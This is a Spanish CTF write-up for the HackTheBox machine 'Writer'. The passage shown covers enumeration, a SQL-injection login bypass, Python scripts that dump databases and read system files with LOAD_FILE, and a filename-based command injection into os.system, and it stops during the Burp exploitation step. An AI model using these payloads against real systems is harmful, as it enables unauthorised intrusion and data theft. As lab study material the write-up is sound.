HackTheBox - Writer

Lanz
Funk Lanz el
HackTheBox - Writer

M谩quina Linux nivel medio. Bypassing de un panel-login, extracci贸n de datos y lectura de archivos del sistema con la funcion LOAD_FILE(), todo lo anterior con un SQLi 馃槷 An谩lisis est谩tico y din谩mico de c贸digo Python, command-injection juguet贸n en im谩genes (?), crackeowowow, explotaci贸n de avisos parroquiales de Postfix y juegos sucios con paquetes APT que son ejecutados por apt-get update.

TL;DR (Spanish writeup)

Creada por: TheCyberGeek.

El escritor鈥

Este writeup salio especialmente largo, pero bastante entretenido, igual hay algunos procesos que tienen links para saltar entre partes por si quieres ir directo al rasputelius.

Servidor web con un login-panel bypass bastante jugoso mediante una SQLinjection union-based, la usaremos tanto para extraer toooooda la info de las BDs a las que tengamos acceso como para leer archivos del sistema (usando la funci贸n load_file de MySQL) :o

plaYsQLi.py

Leeremos la fuente de la app web, tendremos los ojos y la mente bien abierta para encontrar un command-injection en una funcionalidad para editar historias en el servidor web. Moveremos cositas para finalmente obtener una Reverse Shell en el sistema como el usuario www-data (script que automatiza toooodo este proceso):

imajection.py

Estando dentro jugaremos con contrase帽as de MySQL volando y encontraremos otras dentro de una nueva base de datos, crackearemos un hash tipo Django y haciendo reutilizaci贸n de contrase帽as generaremos una Shell como el usuario kyle.

Encontraremos una funcionalidad que agrega un aviso legal a los correos que sean enviados tanto a kyle@writer.htb como a root@writer.htb, el tema es que toooodo el disclaimer es procesado por un binario al que tenemos acceso de escritura yyyy es llevado a cabo por el usuario john, jugaremos con mails y modificaci贸n de binarios para obtener una reverse Shell como el usurario john.

Finalmente, encontraremos que john puede escribir archivos de configuraci贸n para APT (gestor de paquetes en GNU/Linux), usaremos ese poder para generar un paquete malicioso y esperar a que un usuario administrador del sistema ejecute apt-get update para que nuestro paquete EXPLOTE y por ende, explote su contenido. As铆 conseguiremos una Reverse Shell como root.

Clasificaci贸n de la m谩quina seg煤n la gentesita

Le cuesta, pero no le cuesta tanto llegar a ser real :P

La idea inicial de esta locura es tener mis 鈥渘otas鈥 por si algun d铆a se me olvida todo (lo que es muuuy probable), leer esto y reencontrarme (o talvez no) :) La segunda idea surgio con el tiempo, ya que me di cuenta que esta es una puerta para personitas que como yo, al inicio (o simplemente a veces) nos estancamos en este mundo de la seguridad, por lo que si tengo las ganas para ayudarnos 驴por que no hacerlo? 鈥 Un detalle es que si ves mucho texto, es por que me gusta mostrar tanto errores como exitos y tambien plasmar todo desde una perspectiva m谩s de ense帽anza que de solo pasos a seguir. Sin menos, muchas gracias <3 Todo lo que ves es vida!

El 煤nico.

  1. Reconocimiento.
  2. Enumeraci贸n.
  3. Explotaci贸n.
  4. Movimiento lateral: www-data -> kyle.
  5. Movimiento lateral: kyle -> john.
  6. Escalada de privilegios.

Reconocimiento #

Enumeraci贸n de puertos con nmap 馃搶

Como siempre lo primero ser谩 encontrar que puertos (servicios) tiene abiertos externamente la m谩quina, esto lo podemos hacer con ayuda de la herramienta nmap:

鉂 nmap -p- --open -v 10.10.11.101 -oG initScan
Par谩metro Descripci贸n
-p- Escanea todos los 65535
鈥搊pen Solo los puertos que est谩n abiertos
-v Permite ver en consola lo que va encontrando
-oG Guarda el output en un archivo con formato grepeable para usar una funci贸n extractPorts de S4vitar que me extrae los puertos en la clipboard
鉂 cat initScan
# Nmap 7.80 scan initiated Tue Oct  5 25:25:25 2021 as: nmap -p- --open -v -oG initScan 10.10.11.101
# Ports scanned: TCP(65535;1-65535) UDP(0;) SCTP(0;) PROTOCOLS(0;)
Host: 10.10.11.101 ()   Status: Up
Host: 10.10.11.101 ()   Ports: 22/open/tcp//ssh///, 80/open/tcp//http///, 139/open/tcp//netbios-ssn///, 445/open/tcp//microsoft-ds///
# Nmap done at Tue Oct  5 25:25:25 2021 -- 1 IP address (1 host up) scanned in 116.09 seconds

Y obtenemos estos puertos abiertos externamente:

Puerto Descripci贸n
22 SSH: Nos da la opci贸n de obtener una Shell (terminal) de manera segura.
80 HTTP: Nos brinda un servidor web.
139,445 SMB: Nos permite interactuar con carpetas compartidas a trav茅s de la red de la m谩quina.

Ya que tenemos los puertos abiertos de la m谩quina podemos explorar un poquito m谩s, quiz谩s encontremos algo m谩s, as铆 que hagamos un escaneo de versiones (para eso, intentar obtener la versi贸n del software) y scripts (son peque帽as instrucciones que tiene el propio nmap para probar contra X servicio) para cada puerto:

~(Usando la funci贸n extractPorts (referenciada antes) podemos copiar r谩pidamente los puertos en la clipboard, as铆 no tenemos que ir uno a uno

鉂 extractPorts initScan 
[*] Extracting information...

    [*] IP Address: 10.10.11.101
    [*] Open ports: 22,80,139,445

[*] Ports copied to clipboard

)~

鉂 nmap -p 22,80,139,445 -sC -sV 10.10.11.101 -oN portScan
Par谩metro Descripci贸n
-p Escaneo de los puertos obtenidos
-sC Muestra todos los scripts relacionados con el servicio
-sV Nos permite ver la versi贸n del servicio
-oN Guarda el output en un archivo
鉂 cat portScan
# Nmap 7.80 scan initiated Tue Oct  5 25:25:25 2021 as: nmap -p 22,80,139,445 -sC -sV -oN portScan 10.10.11.101
Nmap scan report for 10.10.11.101
Host is up (0.11s latency).

PORT    STATE SERVICE     VERSION
22/tcp  open  ssh         OpenSSH 8.2p1 Ubuntu 4ubuntu0.2 (Ubuntu Linux; protocol 2.0)
80/tcp  open  http        Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Story Bank | Writer.HTB
139/tcp open  netbios-ssn Samba smbd 4.6.2
445/tcp open  netbios-ssn Samba smbd 4.6.2
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: -1s
|_nbstat: NetBIOS name: WRITER, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled but not required
| smb2-time: 
|   date: 2021-10-05T14:11:31
|_  start_date: N/A

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Oct  5 25:25:25 2021 -- 1 IP address (1 host up) scanned in 20.95 seconds

Podemos destacar algunas cositas:

Puerto Servicio Versi贸n
22 SSH OpenSSH 8.2p1
80 HTTP Apache httpd 2.4.41
  • Vemos un dominio que el propio nmap encuentra: Writer.HTB, para tener en cuenta por si algo.

Puerto Servicio Versi贸n
139,445 SMB Samba smbd 4.6.2

No tenemos nada m谩s, as铆 que a explorar.

Enumeraci贸n #

Recorridos turbulentos por el puerto 80 馃搶

Lo que vemos al hacer una petici贸n contra la direcci贸n IP 10.10.11.101 en nuestro navegador es:

Un blog con varias historias, podemos interactuar con ellas, pero lo 煤nico medio relevante es que en cada una nos muestra el autor de la historia, podr铆amos pensar en ellos como usuarios de algo, tengamos esto en mente por si algo鈥

Al no ver nada interesante, podr铆amos probar a buscar directorios o archivos que no se est茅n listando (o viendo) en la web, pero que si est茅n siendo servidos por ella, o mejor llamado, fuzzing, usar茅 dirsearch para eso:

鉂 dirsearch.py -u http://10.10.11.101/
...
[25:25:25] Starting: 
[25:25:25] 200 -    3KB - /about
[25:25:25] 200 -    1KB - /administrative
[25:25:25] 200 -    5KB - /contact
[25:25:25] 302 -  208B  - /dashboard  ->  http://10.10.11.101/
[25:25:25] 302 -  208B  - /logout  ->  http://10.10.11.101/
[25:25:25] 403 -  277B  - /server-status/
[25:25:25] 403 -  277B  - /server-status
[25:25:25] 301 -  313B  - /static  ->  http://10.10.11.101/static/

Task Completed

De los recursos que dirsearch descubri贸 驴cu谩l se ve llamativo? 馃え

Exacto, /administrative tiene un nombre bastante curioso, investigu茅moslo:

Un login-panel bastante sencillo con el logo de bootstrap (que me llevo a varios rabbit holes :P), probando credenciales por default como:

  • admin:admin
  • admin:123456
  • admin@writer.htb:admin
  • (y muchas m谩s)

No logramos pasar el login y siempre obtenemos esto como respuesta:

鈽狅笍 Error: Incorrect credentials supplied

Despu茅s de algunas pruebas basadas en inyecciones (ya que estamos ante un login-panel, o sea que v谩lida credenciales de alguna base de datos (SQL Injection) o plantilla (XPath Injection))

Probando una inyecci贸n simple simulando que exista el usuario admin como -usuario- del login, pensando/imaginando que la consulta que hace es:

... SELECT * FROM <tabla> WHERE username = 'admin';

Podr铆amos explotarla simplemente jugando con las comillas y una operaci贸n que si o si es verdadera, algo como '1'='1':

admin' or '1'='1

Y en la consulta SQL ser铆a algo as铆:

... SELECT * FROM <tabla> WHERE username = 'admin' or '1'='1';

Entonces, s铆 es vulnerable validar铆a primero que el usuario admin exista, en dado caso de no existir y si por cosas de la vida esta tan mal configurado el backend, pues tomar铆a el '1'='1', como esa es una expresi贸n que va a ser verdadera sieeeeempre, lograr铆amos bypassear el login-panel. Pos probemos鈥

Explotaci贸n #

Bypasseamos login mediante una inyecci贸n SQL 馃搶

Los par谩metros del login viajan de esta manera:

As铆 que podemos enviar este payload:

uname=admin' or '1'='1
password=admin' or '1'='1

Damos clic en Sign In yyyyyyyyyyyyyyyy vemos esto:

OPAAAAAAAAAAAAa, nos saluda como el usuario admin yyyy nos redirecciona al apartado /dashboard:

Perfect铆simo, hemos bypasseado el panel-login descubriendo que el usuario admin esta en la base de datos a煤n sin saber su contrase帽a :P Veamos si podemos hacer algo dentro del dashboard, si no, volvemos al SQLi e intentamos descubrir bases de datos, tablas y dem谩s cositas locas鈥


Buscamos locuras ahora como admin en la web 馃搶

Tenmos estos apartados para interactuar:

Despu茅s de recorrer todas, la m谩s interesante e interactiva es Stories, que nos lleva a /dashboard/stories:

Podemos agregar, modificar y borrar historias al blog que vimos al inicio (: Por ejemplo si intentamos editar el primer post (ID 1 = On the Origin of Shadows) tenemos:

驴Qu茅 ven llamativo? 馃憖

Hay un apartado para subir/editar la imagen relacionada con el post, peeeeeeeero en ese mismo apartado tenemos un comentario:

馃搼 The image must have a maximum size of 1MB in .jpg format. Click here to upload from URL.

Si damos clic en here cambia el campo y nos muestra esto:

Pues inicialmente podemos probar si realmente hace la petici贸n web en b煤squeda de la imagen, levantamos un servidor web en el puerto 8000 con ayuda de Python:

鉂 python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Y en el campo de la URL ponemos nuestra direcci贸n y un archivo X, la idea es ver si llega la petici贸n. Pero al dar clic en Save nos devuelve:

No nos permite por un tema del formato, jugando con eso no llegamos a ning煤n lado, as铆 que por ahora dejemos esto quieto y enumeremos el servidor SQL.

Usamos SQLi para extraer info del servidor SQL 馃搶

Lo primero ser谩 ver contra que servicio SQL estamos y lo segundo contra que tipo de SQLi nos encontramos, ya que puede ser error-based, union-based o blind-based principalmente:

Jugando con el error-based no logramos ver 鈥渆rrores鈥 al ejecutar sentencias, as铆 que lo descartamos.

Para validar si puede ser union-based lo mejor es intentar descubrir cuantas columnas tiene la tabla actual donde se est谩n haciendo las consultas, para hacer esto jugamos con la instrucci贸n ORDER BY. Con ella lograremos ordenar las columnas ya sea de manera descendente o ascendente.

El punto es que si intentamos ordenar las columnas con un numero mayor al de las propias columnas que existan en la tabla (por ejemplo, una tabla tiene 5 columnas, si intentamos ordenarla como si tuviera 6, dar铆a error), la idea es buscar un numero que no nos d茅 error (en este caso lo sabr铆amos cuando nos deje logearnos (si es que nos deja)), si lo encontramos, primero confirmamos el n煤mero de columnas de la tabla y segundo el tipo de SQL injection: union-based

Su uso es sencillo:

ORDER BY <numero_de_columnas>

Adecu谩ndolo a nuestro payload ser铆a algo as铆:

uname=admin' ORDER BY <numero_de_columnas>;#
password=admin' ORDER BY <numero_de_columnas>;#

R谩pidamente, armamos un script (o con cURL o como quieran, yo usare Python) para validar con 100 columnas:

#!/usr/bin/python3

import requests

URL = "http://10.10.11.101/administrative"

for column_num in range (1,101):
    payload = f"admin' ORDER BY {column_num};#"

    r = requests.post(URL, data={"uname":payload,"password":payload})

    # Vimos que antes del dashboard habia un redirect y nos mostraba un mensaje, tomemos parte de ese mensaje para validar la respuesta esperada.
    # Si la respuesta lo contiene, sabemos que ese numero de columnas nos permitio el bypass, cuando deje de aparecer el mensaje, sabemos que ese num no es valido.
    if "Redirecting you to the dashboard" not in r.text:
        print(f"Este es el numero de columnas: {column_num - 1}, desde la {column_num} no permite el bypass.")
        break

Si lo ejecutamos nos muestra esto:

PERFECTOOOOOOOOOO, tenemos el n煤mero de columnas (6) y confirmamos que estamos ante una inyecci贸n SQL tipo union-based, empecemos a usarla鈥

Extraemos variables usadas por el servidor SQL 馃拤

Usar茅 este apartado para mostrarles como se ver铆a reflejado el resultado de nuestra consulta, pero las dem谩s extracciones simplemente mostrar茅 el resultado, esto para no hacer taaaan largo el writeup (:

Sabemos que hay 6 columnas, nuestro nuevo payload va a quedar as铆 para toooodas las extracciones, nos queda saber contra qu茅 servidor SQL estamos y que columnas son v谩lidas para escribir texto.

admin' UNION ALL SELECT 1,2,3,4,5,6;#

Ah铆 le estar铆amos diciendo que nos muestre tooooooooooodas las columnas donde sea que est茅n de la respuesta, entonces, ejecutamos:

#!/usr/bin/python3

import requests

URL = "http://10.10.11.101/administrative"

payload = f"admin' UNION ALL SELECT 1,2,3,4,5,6;#"
r = requests.post(URL, data={"uname":payload,"password":payload})

if "Redirecting you to the dashboard" in r.text:
    print(r.text)

Si tomamos la respuesta y nos ponemos frescos con la vista, vamos a ver algo llamativo por ah铆:

Hay un 2 al lado de admin y claramente antes no estaba:

Por lo que nos hace pensar que el 2 de nuestro payload puede ser ese 2, como prueba definitiva agreguemos un texto ah铆 random:

payload = f"admin' UNION ALL SELECT 1,'holiwis',3,4,5,6;#"

Ejecutamos yyyyyyyyy:

PERFECT脥SIMO, CONFIRMAMOOOOOOOOOS y ya tenemos un campo para jugar de ahora en adelante (:

Veamos que versi贸n de SQL tenemos:

payload = f"admin' UNION ALL SELECT 1,version(),3,4,5,6;#"

10.3.29-MariaDB-0ubuntu0.20.04.1 listones, esto solamente nos confirma que el gestor de DB esta enfocado en MySQL.

Ahora lo lindo, empecemos a crear un script bieeeeeeeeen lococh贸n que nos extraiga de T O D O鈥

鈿狅笍鉂わ笍鈿狅笍 ANUNCIO: Vamos a extraer DBS, TABLAS, COLUMNAS y DATA m谩s por ense帽anza que por otra cosa, ya que la m谩quina no requiere eso para seguir, as铆 que si deseas pasar esa fase da clic ac谩 y caes directo a lo necesario para continuar con la m谩quina, saludes y besitos 鈿狅笍鉂わ笍鈿狅笍

Extraemos las bases de datos 馃拤

Lo dicho no voy a profundizar mucho, cositas b谩sicas鈥

Ac谩 hablamos directamente con la base de datos information_schema y su tabla schemata, de ella extraemos la columna schema_name que es la que contiene las bases de datos actuales y a las que tenemos acceso, 煤nicamente que vamos limitando la respuesta a una (1) fila, as铆 obtenemos tooodas las filas, o sea, todas las dbs (:

...
# Por ejemplo si queremos listar 100 bases de datos (e.e)
for row in range(101):
    payload = f"admin' UNION ALL SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT {row},1),3,4,5,6;#"
...

plaYsQLi.py - show_databases()

Ejecutamos y:

Tenemos dos bases de datos, nos llama la atenci贸n la que se llama como la m谩quina claramente, descubramos sus tablas.

Extraemos las tablas de la db writer 馃拤

Ac谩 ahora jugamos con la tabla tables, peeeeeero filtramos 煤nicamente las tablas de la base de datos (la que tengamos en table_schema) que le indiquemos, en este caso writer, as铆 extraer铆a los table_name correspondientes a esa db:

...
for row in range(101):路
    payload = f"admin' UNION ALL SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema='{db}' LIMIT {row},1),3,4,5,6;#"
...

plaYsQLi.py - show_tables()

Ejecutamos y:

Bien, tenemos la tabla donde se guardan las historias que vimos en la web, tambi茅n partes del sitio y una con referencia a usuarios, inspeccionemos las columnas de esa tabla users.

Extraemos las columnas de la tabla users de la db writer 馃拤

Ahora nos enfocamos en la tabla columns, pero de nuevo, 煤nicamente queremos extraer las columnas de la base de datos (table_schema) writer y la tabla (table_name) users:

...
for row in range(101):路
    payload = f"admin' UNION ALL SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema='{db}' AND table_name='{table}' LIMIT {row},1),3,4,5,6;#"
...

plaYsQLi.py - show_columns()

Ejecutamos:

Lo esperado, tenemos username y password como campos claramente llamativos, pues intentemos extraerlos.

Extraemos la data en columnas de la tabla users - db writer 馃拤

Ac谩 la consulta es m谩s sencilla, 煤nicamente le decimos que queremos extraer una o varias columnas (username) de una tabla (users) asociada a una base de datos (writer):

...
for row in range(101):路
    payload = f"admin' UNION ALL SELECT 1,(SELECT {column} FROM {db}.{table} LIMIT {row},1),3,4,5,6;#"
...

plaYsQLi.py - show_data()

Si quisi茅ramos evitar listar de a un resultado podemos jugar con la instrucci贸n CONCAT de MySQL, por ejemplo para ver username y password al tiempo, podr铆amos hacer algo as铆:

...
for row in range(101):路
    payload = f"admin' UNION ALL SELECT 1,(SELECT CONCAT(username,'-',password) FROM {db}.{table} LIMIT {row},1),3,4,5,6;#"
...

Y en su ejecuci贸n ver铆amos algo tal que as铆:

Pues peeeeerfecto, ya hemos dumpeado cosas interesantes, lamentablemente no logramos crackear esa contrase帽a (el hash) y tampoco ver algo llamativo en las dem谩s tablas, as铆 que tamos F (: Al menos aprendimos a extraer tooooooooooda la locura de una base de datos y sali贸 un script bastante guapet贸n :)

Funci贸n LOAD_FILE: Leemos archivos del sistema 馃搶

Despu茅s de bastante perdici贸n, enumerando cositas y perdiendo otras. Ca铆 en este apartado de un recurso que hab铆a compartido antes:

Nos indica que mediante MySQL podemos leer archivos del sistema usando la funci贸n LOAD_FILE(<archivo>) (que no la hab铆a usado y tampoco escuchado, as铆 que a explorarla):

Por ejemplo si queremos ver el archivo /etc/passwd del sistema, har铆amos esto:

#!/usr/bin/python3

import requests

URL = "http://10.10.11.101/administrative"

payload = f"admin' UNION ALL SELECT 1,LOAD_FILE('/etc/passwd'),3,4,5,6;#"
r = requests.post(URL, data={"uname":payload,"password":payload})

if "Redirecting you to the dashboard" in r.text:
    print(r.text)

Y como respuesta:

Obtenemos el contenido del archivo. De primeras destacamos algunos usuarios con acceso a una terminal:

- root
- kyle
- filter
- john

As铆 que perfeccccct铆simo, podemos leer archivos del sistema con ayuda de la funci贸n load_file() de MySQL.

Jugando de nuevo con nuestro script conseguiremos tomar el output y extraer 煤nicamente el contenido del archivo que queramos leer:

plaYsQLi.py - show_file()

Ahora es muuucho m谩s sencillo, por ejemplo veamos el archivo /etc/hosts de la m谩quina v铆ctima:

Funcional, as铆 que a enumerar鈥

Si recordamos, en el inicio de nuestro reconocimiento vimos que el servidor web estaba siendo mantenido por Apache, esto nos da la oportunidad de buscar los archivos de configuraci贸n de ese servicio, ya que quiz谩s encontremos la ra铆z de objetos por ejemplo del servidor web.

Entre tooooodas las referencias de objetos que podemos obtener de ese art铆culo (y de muchos otros) destacamos inicialmente esta cita:

馃梽锔 鈥 la configuraci贸n predeterminada se encuentra en /etc/apache2/sites-available/000-default.conf. C贸mo instalar el servidor web Apache en Ubuntu 18.04

Pues intentemos obtener su contenido:

Excelente, existe yyyy contiene bastante info, destaquemos cositas鈥

(Blog - Port 80)
Root folder:  /var/www/writer.htb
WSGIScripts:  /var/www/writer.htb/writer.wsgi
Static files: /var/www/writer.htb/writer/static/

(Writer2 - Future development)
Root folder:    /var/www/writer2_project
Static files:   /var/www/writer2_project/static/
Template files: /var/www/writer2_project/writer_web/templates
Unknow folder:  /var/www/writer2_project/writerv2
python-home:    /var/www/writer2_project/writer2env
WSGIScripts:    /var/www/writer2_project/writerv2/wsgi.py

馃悕 WSGI son las siglas de Web Server Gateway Interface. Es una especificaci贸n que describe c贸mo se comunica un servidor web con una aplicaci贸n web, y c贸mo se pueden llegar a encadenar diferentes aplicaciones web para procesar una solicitud/petici贸n (o request). 驴Qu茅 es un WSGI?

Veamos el objeto /var/www/writer.htb/writer.wsgi:

Ac谩 estube bastante perdido un tiempo por no prestar atenci贸n y no leer bien :P Gracias 7Rocky por aclararme las ideas (:

Algunas cositas llamativas para nuestra vista y pensamiento, pero la 煤nica que nos puede llegar a ayudar es esta l铆nea:

馃悕 # Import the __init__.py from the app folder

Nos habla del objeto __init__.py y que esta siendo importado desde el directorio de la aplicaci贸n web, pues lo siguiente seria intentar encontrar ese archivo a ver que contiene鈥 Jugando con las rutas anteriormente encontradas, encontramos el objeto en esta:

/var/www/writer.htb/writer/__init__.py

El archivo es gigaaaaaaante, as铆 que se los dejo ac谩 por si le quieren echar un ojo:

/var/www/writer.htb/writer/init.py

El objeto es el encargado de toodo el blog, as铆 que podemos ver como funciona por detr谩s cada apartado 馃槷

Despu茅s de un recorrido por todo el c贸digo, podemos destacar inicialmente la contrase帽a del usuario admin en la base de datos:

...
connector = mysql.connector.connect(user='admin', password='ToughPasswordToCrack', host='127.0.0.1', database='writer')
...

Encontramos posible command-injection 馃搶

鈿狅笍鉂わ笍鈿狅笍 ANUNCIO: Si quieres evitar tooooooda la explicaci贸n del c贸digo y como encontramos el command-injection, sigue este link 鈿狅笍鉂わ笍鈿狅笍

Tambi茅n hay cositas interesantes tanto en la funci贸n add_story() como en edit_story(), enfoqu茅monos en edit_story(), as铆 evitamos generar ruido e historias basura :P

/var/www/writer.htb/writer/init.py - edit_story()

Voy a intentar no enredarlos y extenderme tanto, ya que puede ser 鈥渕edio鈥 confuso (realmente no, el confuso seria yo :P)

Extraemos cositas clave de toooda la funcion, sin embargo ya saben, arriba esta el codigo completo鈥

Recuerdan que al inicio encontramos la parte de editar las historias, sus t铆tulos e im谩genes, incluso que pod铆amos subir una imagen desde una URL, pues ac谩 tenemos el c贸mo se generan esas opciones en el backend yyyyyyyy es muy interesante:

...
@app.route('/dashboard/stories/edit/<id>', methods=['GET', 'POST'])路
def edit_story(id):
...
    if request.files['image']:           # Ac谩 valida que el parametro de la petici贸n 'images' tenga info, si es as铆:
        image = request.files['image']   # La guarda en la variable 'image'
        if ".jpg" in image.filename:     # Si esa imagen en su nombre (image.filename) contiene '.jpg' podemos seguir (IMPORTANTE)
            ...
            # Agrega a la ruta '/var/.../' el nombre del archivo (image.filename). 
            # - e.g: 'image.filename=hola.jpg' -> path = '/var/.../img/hola.jpg'
            path = os.path.join('/var/www/writer.htb/writer/static/img/', image.filename)  
            ...
            # Simplemente concatena carpeta con nombre de archivo, e.g: '/img/hola.jpg'
            image = "/img/{}".format(image.filename)
            ...
            # Guarda en la base de datos el valor de 'image', e.g: '/img/hola.jpg'
            cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
            # (SIN NING脷N TIPO DE VALIDACI脫N IMPORTANTE, 煤nicamente que contenga '.jpg', INTERESANTEEEEEEE)
            ...
    if request.form.get('image_url'):               # Ac谩 valida que el parametro 'image_url' tenga contenido, si s铆:
        image_url = request.form.get('image_url')   # Guarda la URL completa en 'image_url'
        if ".jpg" in image_url:                     # Lo mismo, si la URL contiene '.jpg' podemos continuar
            try:
                ...
                # Ahora hace una peticion contra la URL primero para validar que el archivo exista y guardar el contenido en un archivo temporal
                local_filename, headers = urllib.request.urlretrieve(image_url)
                ...
                # OJO: Interactua con un comando del sistema ('mv') para tomar el archivo temporal y agregarle al final la cadena '.jpg'
                os.system("mv {} {}.jpg".format(local_filename, local_filename))
                # Esto es muuuuuy llamativo por que podemos pensar en un COMMAND INJECTION, 驴por que? Veamos:
                # (Claramente no sabemos a煤n que guarda 'local_filename' (ya probaremos), pero podemos imaginar algo as铆)
                # - Ya que si tenemos el nombre de archivo 'hola.jpg' peeero lo modificamos a algo como:
                # - hola.jpg; ping 10.10.14.157;
                # >>> os.system("mv hola.jpg; ping 10.10.14.157; ...")
                # Y si todo va bien, deberia la m谩quina enviarnos una traza ICMP (ping) contra nuestra direccion IP :o
                ...
                # Guarda en la variable 'image' el nombre del archivo temporal y le agrega '.jpg'
                image = "{}.jpg".format(local_filename)
                ...
                try:
                    # Toma el nombre de la imagen ('image') y la intenta abrir para validar que sea una imagen
                    im = Image.open(image) 
                    ...
                    # Ac谩 nos da un indicio de como se guarda el archivo ('local_filename').
                    image = image.replace('/tmp/','')
                    # - Ya que remplaza de 'image' la string '/tmp/' por '' (vacio)
                    # - Por lo que si 'local_filename' es igual a '/tmp/hola.jpg', 'image' quedaria con el valor 'hola.jpg'
                    ...
                    # Volvemos a encontrarnos una interaccion con el sistema y a pensar en un COMMAND INJECTION.
                    os.system("mv /tmp/{} /var/www/writer.htb/writer/static/img/{}".format(image, image))
                    # Peeero claro, si arriba habia un COMMAND INJECTION, ya deberiamos haber ejecutado algo y no esperar hasta llegar a ac谩.
                    # Sin embargo podemos tenerlo en mente por si algo...
                    ...
                    # Y actualiza la DB con el nombre del archivo (lo mismo que vimos antes)
                    image = "/img/{}".format(image)
                    cursor.execute("UPDATE stories SET image = %(image)s WHERE id = %(id)s", {'image':image, 'id':id})
                    ...
...

Bien, despu茅s de la exploraci贸n profunda por el c贸digo (espero no haberlos confundido mucho :P) salimos bastante contentos de encontrar un posible COMMAND INJECTION, que si no sabes que es, es tal cual su nombre, una inyecci贸n de comandos :P, aprovechamos instrucciones que est谩n ejecutando comandos del sistema, tomando ya sean variables o procesos con los que un usuario interact煤a, la explotaci贸n se da cuando el user quiere -interactuar- de manera juguetona para adem谩s de ejecutar los comandos por default de la app, ejecutar los que 茅l quiera, por ejemplo para obtener una Reverse Shell.

Como prueba simul茅 el if de image_url, ya que el de image fue f谩cil ver que hacia鈥

Generamos un script r谩pidongo:

#!/usr/bin/python3

from flask import Flask, session, redirect, url_for, request, render_template
import urllib.request

url_host = "http://10.10.14.157:8000/"
filename_image = "hola.jpg"
image_url = url_host + filename_image

if ".jpg" in image_url:
    try:
        # Hacemos la petici贸n
        local_filename, headers = urllib.request.urlretrieve(image_url)
        # Simulamos que movemos el archivo, 煤nicamente para ver que valor toma 'local_filename'
        print("mv {} {}.jpg".format(local_filename, local_filename))
        # Vemos el nombre final de la imagen
        image = "{}.jpg".format(local_filename)
        print(image)
    except:
        # Alg煤n error (lo 煤nico que podria generarlo ser铆a la petici贸n), cae ac谩
        print("f - error en la petici贸n")

Levantamos servidor web en el puerto 8000:

鉂 python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...

Creamos archivo llamado hola.jpg: touch hola.jpg.

Y ahora simplemente ejecutar铆amos el script:

Bien, efectivamente se genera un archivo temporal, pero cambia completamente, por lo que si intent谩ramos un command-injection 驴tambi茅n cambiaria el nombre, pero aun as铆 lograr铆amos que interpretara algo? 驴qu茅 dices?

...
filename_image = "hola.jpg;ping 10.10.14.157;"
...
鉂 touch 'hola.jpg;ping 10.10.14.157;'

Yyyy ahora ejecutamos de nuevo el script:

鉂 python3 command_imajection.py
f - error en la petici贸n

Pero ni llega la petici贸n :P

Intentando cosas como hola.jpg;'ping...'; o hola.jpg;$(ping...); tampoco logramos recibir la petici贸n (da igual si el archivo existe o no, deber铆a llegar un 404 Not Found), as铆 que F鈥

Despu茅s de un bueeeeen rato intentando e intentando se me ocurri贸 (y el nombre local_filename ayudo a reforzar la idea) que podr铆amos intentar hacer una petici贸n a alguna imagen local (del sistema), para hacerlo podemos usar los wrappers, en concreto con el wrapper file://:

file:// 鈥 Acceso al sistema de ficheros local
http:// 鈥 Acceso a URLS en HTTP(s)

Entonces, la prueba inicial del wrapper en nuestro sistema ser铆a:

...
url2image = "file://"
image = "/root/writer/scripts/hola.jpg"
...

Ejecutamos:

OPAAAAAAAAAAAAaaaslwalkajsfl, toma el nombre el archivo reaaaaaaaAAALaaaAAAAlLll

Intentemos de alguna forma hacer que lea el archivo, peeeero a la vez generar un **command-injection, ya que ahora S脥 tenemos control sobre el nombre del objeto :)

...
url2image = "file://"
image = "/root/writer/scripts/hola.jpg;ping 10.10.14.157;"
...
鉂 touch 'hola.jpg;ping 10.10.14.157;'

Ejecutamos para probar si genera la petici贸n:

PERRRRRRRFECTO, se hace la petici贸贸贸贸贸贸贸贸nnnn, pues ejecutamos realmente la l铆nea os.system(...) a ver si obtenemos el ping:

Nos ponemos en escucha por la interfaz donde esta la VPN de HTB capturando todos los paquetes ICMP (son las trazas enviadas por el comando ping) que le lleguen:

鉂 tcpdump -i tun0 icmp

Y en el script:

...
os.system("mv {} {}.jpg".format(local_filename, local_filename))
...

Ejecutamos yyyyyyyyyyyyyyyyyy:

VAMOOOOOOOOOOOOOOOOOOOOOOOOOOO, las trazas son enviadas y las vemos desde el propio script (al ser local), as铆 que confirmamos el command-injection y llego el momento de replicar esto, pero directamente en el blog (: Ser茅 r谩pido y directo, igual tooooda la explicaci贸n se hizo de ac谩 pa arriba.

Explotamos command-injection y generamos Shell 馃搶

Pasos muuuy sencillos:

  1. Necesitamos primero crear/modificar un archivo en el sistema para que en su nombre tenga nuestro payload.
  2. Usar el wrapper file:// para referenciar ese archivo. (podemos hacer este y el primero al tiempo, pero la idea es que entiendan que hago)

Editamos historia y colocamos nuestro payload como nombre de la imagen 鈿欙笍

Bypasseamos el panel-login, vemos las historias y seleccionamos cualquiera de las que existen, tomar茅 la segunda:

Clic en el l谩piz y llegamos a ac谩:

Ahora, vamos a apoyarnos de BurpSuite para mostrar claramente la explotaci贸n.

Activamos el proxy y en la p谩gina web damos clic en Send, nos llegar铆a la petici贸n a Burp, damos ya sea:

  • Clic derecho en la petici贸n > Send to repeater o
  • CTRL+R, apagamos el intercept y listos, as铆 evitamos estar activando y desactivando el proxy.

Tenemos esto:

Como vemos, ah铆 est谩n los dos campos interesantes que desbaratamos antes: image e image_url.

Apoyados en el script que creamos para dumpear las bases de datos podemos ver el valor actual de la imagen para la historia 2:

鉂 python3 plaYsQLi.py --query writer stories id,title,image
[*] Dumpeando id,title,image de writer.stories

...
[+] 2-Autumn Rain-/img/rain.jpg
...

